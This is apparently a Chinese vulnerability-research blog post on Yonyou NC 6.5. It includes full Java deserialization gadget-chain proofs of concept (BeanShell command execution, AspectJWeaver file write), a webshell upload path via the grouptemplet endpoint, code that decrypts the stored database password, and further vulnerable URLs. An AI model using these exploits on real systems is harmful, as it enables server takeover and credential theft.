用友NC在java反序列化中也算典型的例子了,就简单的看一下
环境搭建参考:用友nc6.5详细安装过程 用友6.5安装及配置注意要点
注意在配置数据源时,需要将 sqljdbc4.jar 包复制到 jdk/lib 目录下 添加远程调试:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
漏洞分析 先看看关键路由,在webapps/nc_web/WEB-INF/web.xml
1 2 3 4 <servlet > <servlet-name > NCInvokerServlet</servlet-name > <servlet-class > nc.bs.framework.server.InvokerServlet</servlet-class > </servlet >
发现 service 和 servlet 均由 NCInvokerServlet 处理 跟进到lib/fwserver.jar
的nc.bs.framework.server.InvokerServlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 private void doAction (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String token = this .getParamValue(request, "security_token" ); String userCode = this .getParamValue(request, "user_code" ); if (userCode != null ) { InvocationInfoProxy.getInstance().setUserCode(userCode); } if (token != null ) { NetStreamContext.setToken(KeyUtil.decodeToken(token)); } String pathInfo = request.getPathInfo(); log.debug("Before Invoke: " + pathInfo); long requestTime = System.currentTimeMillis(); try { if (pathInfo == null ) { throw new ServletException ("Service name is not specified, pathInfo is null" ); } pathInfo = pathInfo.trim(); String moduleName = null ; String serviceName = null ; int beginIndex; if (pathInfo.startsWith("/~" )) { moduleName = pathInfo.substring(2 ); beginIndex = moduleName.indexOf("/" ); if (beginIndex >= 0 ) { serviceName = moduleName.substring(beginIndex); if (beginIndex > 0 ) { moduleName = moduleName.substring(0 , beginIndex); } else { moduleName = null ; } } else { moduleName = null ; serviceName = pathInfo; } } else { serviceName = pathInfo; } if (serviceName == null ) { throw new ServletException ("Service name is not specified" ); } beginIndex = serviceName.indexOf("/" ); if (beginIndex < 0 || beginIndex >= serviceName.length() - 1 ) { throw new ServletException ("Service name is not specified" ); } serviceName = serviceName.substring(beginIndex + 1 ); Object obj = null ; String msg; try { obj = this .getServiceObject(moduleName, serviceName); } catch (ComponentException var76) { msg = svcNotFoundMsgFormat.format(new Object []{serviceName}); Logger.error(msg, var76); throw new ServletException (msg); }
获得 pathinfo 后,如果是以/~
开头,截取第一部分为 moduleName,然后再截取第二部分为 serviceName,再根据getServiceObject(moduleName, serviceName)
实现任意 Servlet 调用 所以说有三种触发方法:
1 2 3 /servlet/monitorservlet /servlet/~ic/MonitorServlet /servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
BeanShell反序列化 网上基本都是关于 CNVD-2021-30167 的,但其实 BeanShell 也存在反序列化漏洞
看到bsh.XThis
,它是bsh.This
对象的子类,在 This 的基础上添加了通用接口代理机制的支持,也就是 InvocationHandler,XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法
它调用了 invokeImpl 方法
调用 invokeMethod 执行对应的方法
我们可以使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import bsh.Interpreter;import bsh.NameSpace;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.Comparator;import java.util.PriorityQueue;public class BeanShell { public static void main (String[] args) throws Exception{ String compareMethod = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc\"}).start();return new Integer(1);}" ; Interpreter interpreter = new Interpreter (); interpreter.eval(compareMethod); Class clz = Class.forName("bsh.XThis" ); Constructor constructor = clz.getDeclaredConstructor(NameSpace.class, Interpreter.class); constructor.setAccessible(true ); Object xt = constructor.newInstance(interpreter.getNameSpace(),interpreter); InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler" ).get(xt); Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class <?>[]{Comparator.class}, handler); final PriorityQueue<Object> priorityQueue = new PriorityQueue <Object>(2 , comparator); Object[] queue = new Object [] {1 ,1 }; setFieldValue(priorityQueue, "queue" , queue); setFieldValue(priorityQueue, "size" , 2 ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(priorityQueue); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void setAccessible (AccessibleObject member) { member.setAccessible(true ); } }
最终调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 start:1005, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:57, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:606, Method (java.lang.reflect) invokeOnMethod:-1, Reflect (bsh) invokeObjectMethod:-1, Reflect (bsh) doName:-1, BSHPrimarySuffix (bsh) doSuffix:-1, BSHPrimarySuffix (bsh) eval:-1, BSHPrimaryExpression (bsh) eval:-1, BSHPrimaryExpression (bsh) evalBlock:-1, BSHBlock (bsh) eval:-1, BSHBlock (bsh) invokeImpl:-1, BshMethod (bsh) invoke:-1, BshMethod (bsh) invoke:-1, BshMethod (bsh) invokeMethod:-1, This (bsh) invokeMethod:-1, This (bsh) invokeImpl:-1, XThis$Handler (bsh) invoke:-1, XThis$Handler (bsh) compare:-1, $Proxy1 (com.sun.proxy) siftDownUsingComparator:699, PriorityQueue (java.util) siftDown:667, PriorityQueue (java.util) heapify:713, PriorityQueue (java.util) readObject:773, PriorityQueue (java.util)
漏洞修复:https://github.com/beanshell/beanshell/commit/1ccc66bb693d4e46a34a904db8eeff07808d2ced
移除了 Handler 类的 Serializable 接口
参考:ysoserial-beanshell(CVE-2016-2510) Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin
AspectJWeaver反序列化 发现存在依赖 aspectjweaver-1.7.4.jar ,配合 commons-collections 存在一个 non RCE 的任意文件写利用链
在类org.aspectj.weaver.tools.cache.SimpleCache
中有一个继承 HashMap 的内部类 StoreableCachingMap
它重写了 HashMap 的 put 方法,传入的 key 为文件名,value 为写入文件的内容
跟进 writeToPath 方法
写入文件的路径为this.folder + File.separator + key
,所以说只要能触发SimpleCache$StoreableCachingMap
的 put 方法就能执行写文件操作
在org.apache.commons.collections.map.LazyMap
的 get 方法中调用了 put 方法
最终的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class AspectJWeaver { public static void main (String[] args) throws Exception{ String filename = "test.jsp" ; String filepath = "./" ; String filecontent = "test123" ; Constructor ctor = getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Object simpleCache = ctor.newInstance(filepath, 12 ); Transformer ct = new ConstantTransformer (filecontent.getBytes(StandardCharsets.UTF_8)); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry (lazyMap, filename); HashSet map = new HashSet (1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } setAccessible(keyField); keyField.set(node, entry); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(map); oos.close(); ByteArrayInputStream bais = new ByteArrayInputStream (barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0 ]; setAccessible(ctor); return ctor; } public static void setAccessible (AccessibleObject member) { member.setAccessible(true ); } }
调用栈如下:
1 2 3 4 5 6 7 8 writeToPath:253, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache) put:193, SimpleCache$StoreableCachingMap (org.aspectj.weaver.tools.cache) get:152, LazyMap (org.apache.commons.collections.map) getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue) hash:362, HashMap (java.util) put:492, HashMap (java.util) readObject:309, HashSet (java.util)
也可以将原来的
1 Transformer ct = new ConstantTransformer (filecontent.getBytes(StandardCharsets.UTF_8));
改写成
1 Transformer ct = new FactoryTransformer (new ConstantFactory (filecontent.getBytes(StandardCharsets.UTF_8)));
用来绕过一些特征检测
参考:自定义AspectJWeave gadget绕过serialKiller https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
grouptemplet任意文件上传 漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=364 漏洞描述:通过非法调用相关uapim接口构造恶意请求从而上传webshell实现任意文件上传
这个洞其实在2022年就爆出来了
看到hotwebs/uapim/WEB-INF/lib/uapim-server-core-0.0.1.jar
,找到com.yonyou.uapim.web.controller.UploadController
的 doGroupTempletUpload 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 @RequestMapping( value = {"grouptemplet"}, method = {RequestMethod.POST} ) public Boolean doGroupTempletUpload (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String groupid = request.getParameter("groupid" ); String fileType = request.getParameter("fileType" ); String maxSize = request.getParameter("maxSize" ); String tempPath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-imfile-temp-" , (String)null ); String filePath = XmlPathUtils.getHomeXMLPath("hotwebs-uapim-static-pages-" + groupid + "-" , (String)null ); IMLogger.info("单据信息上传临时目录名:" + tempPath); IMLogger.info("单据信息上传真实目录名:" + filePath); DiskFileItemFactory factory = new DiskFileItemFactory (); factory.setSizeThreshold(10485760 ); factory.setRepository(new File (tempPath)); ServletFileUpload upload = new ServletFileUpload (factory); if (maxSize != null && !"" .equals(maxSize.trim())) { upload.setSizeMax((long )(Integer.valueOf(maxSize) * 1024 * 1024 )); } try { List<FileItem> items = upload.parseRequest(request); Iterator i$ = items.iterator(); while (true ) { FileItem item; do { if (!i$.hasNext()) { return null ; } item = (FileItem)i$.next(); } while (item.isFormField()); String fileName = item.getName(); String fileEnd = fileName.substring(fileName.lastIndexOf("." ) + 1 ).toLowerCase(); if (fileType != null && !"" .equals(fileType.trim())) { boolean isRealType = false ; String[] arrType = fileType.split("," ); String[] arr$ = arrType; int len$ = arrType.length; for (int i$ = 0 ; i$ < len$; ++i$) { String str = arr$[i$]; if (fileEnd.equals(str.toLowerCase())) { isRealType = true ; break ; } } if (!isRealType) { IMLogger.error("上传文件异常!文件格式不正确!" ); return null ; } } String uuid = "head" ; StringBuffer sbRealPath = new StringBuffer (); sbRealPath.append(filePath).append(uuid).append("." ).append(fileEnd); IMLogger.info("上传群组单据信息:" + sbRealPath.toString()); File file = new File (sbRealPath.toString()); FileUtil.makeDirectory(filePath); item.write(file); FileMeta filemeta = FileUploadService.upload((UFSClient)null , sbRealPath.toString()); String filePK = filemeta.getFilePK(); StringBuffer sb = new StringBuffer (); sb.append("window.returnValue='" ).append(fileName).append("," ).append(uuid).append("." ).append(fileEnd).append("," ).append(file.length()).append("';" ); sb.append("window.close();" ); IMLogger.info("上传文件成功,信息:" + sb.toString()); } } catch (Exception var22) { Exception e = var22; IMLogger.error("上传文件异常!上传失败:" + var22.toString(), var22); response.setHeader("state" , "fail" ); try { response.setHeader("error" , URLEncoder.encode(e.getMessage(), "UTF-8" )); } catch (UnsupportedEncodingException var21) { var21.printStackTrace(); } return null ; } }
发现文件后缀没有任何过滤,并且文件名也是固定值head
虽然显示 fail 了,但还是在hotwebs/uapim/static/pages/test
成功写入shell
数据库解密 找到文件 ierp/bin/prop.xml
,里面包含数据库的连接信息
1 2 3 4 5 <databaseUrl > jdbc:sqlserver://192.168.111.137:1433;database=nc65;sendStringParametersAsUnicode=true;responseBuffering=adaptive</databaseUrl > <user > sa</user > <password > fhkjjjimdphmoecm</password > <driverClassName > com.microsoft.sqlserver.jdbc.SQLServerDriver</driverClassName > <databaseType > SQLSERVER2008</databaseType >
发现密码被加密了,需要进行解密 系统会调用middleware/mw.jar
中的nc.bs.mw.pm.MiddleProperty#decode()
方法进行解密
反射调用了nc.vo.framework.rsa.Encode
的 decode 方法 我们直接导入external/lib/basic.jar
进行解密
1 2 3 4 5 6 7 8 import nc.vo.framework.rsa.Encode;public class DbPasswdDecode { public static void main (String[] args) { Encode en = new Encode (); System.out.println(en.decode("fhkjjjimdphmoecm" )); } }
总结 反序列化接口根据补丁还是很好找的,就不细说了,但利用需要相关的依赖,并不能通杀,所以接口再多也很鸡肋-v-
还有很多文件上传,都比较简单,就不多分析了 漏洞url:/mp/login/../uploadControl/uploadFile
漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=342 漏洞描述:通过mp模块进行任意文件上传,从而上传webshell实现控制服务器,远程执行任意命令
漏洞url:/aim/equipmap/accept.jsp
漏洞补丁:https://security.yonyou.com/#/noticeInfo?id=281 漏洞描述:漏洞触发点在目标地址下/aim/equipmap/accept.jsp路径,构造POST数据包上传恶意文件
推荐一些技术文章:某NC系统的命令执行漏洞ActionInvokeService的分析 用友NC历史漏洞(含POC) 用友nc远程命令执行漏洞分析 yonyou的一处JNDI审计